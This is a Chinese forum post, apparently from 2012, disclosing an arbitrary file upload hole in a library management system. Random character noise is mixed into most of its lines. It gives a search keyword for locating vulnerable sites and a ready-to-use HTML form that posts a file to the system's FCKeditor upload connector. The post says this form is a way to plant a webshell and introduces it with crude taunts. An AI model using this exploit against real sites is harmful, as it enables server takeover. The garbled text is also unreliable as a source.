主题:图书馆系统任意文件上传漏洞
% g Q K$ x8 J; h 作者:冰锋刺客, U" q. y" J3 `9 ~4 j
厂商:点击书(dianjishu.com)
- V% R* v/ ^2 S, E 日期:2012-6-21
8 s$ C, Z) }% {! s% \
" u8 U# `4 B3 p" _+ W- V/ tI 概述, Z( a3 I" z" h. A% ~5 S
点点书库图书馆系统存在文件上传漏洞，导致可以直接拿webshell* w! s1 l3 H# G$ h2 T
II 简介
# O1 E5 c0 S& v1 f 关键词:"Copyright (C) 点点电子书库 2009-2010, All Rights Reserved"! o/ f1 P- ?. V5 l
补充一个漏洞
0 l. t, ^# J% c4 d% s <form id="frmUpload" enctype="multipart/form-data"
1 ~7 Z, y7 |1 L' q" x0 w4 K action="http://url/admin/js/fckeditor/editor/filemanager/connectors/aspx/upload.aspx?Type=Media" method="post">请上传您的马子<br><input type="file" name="NewFile" size="50"><br>
5 t( Y, R6 f) m$ I <input id="btnUpload" type="submit" value="操翻他">/ g0 f$ l! l2 Q( e5 U. i7 }7 Q; [
</form>
& K: [" o" A6 U, c 你们懂的- E' y% I$ e7 \3 O4 {
那傻逼提供还需要改包.3 Z8 E8 a/ X) o6 t) f
自己看了下源代码发现fckeditor; M/ Y, ?' h7 L4 L; E
直接秒杀
' |0 G: `# a- I5 ~0 P, P: m) Q |
发表于 2012-9-10 21:20:59
收藏
支持
反对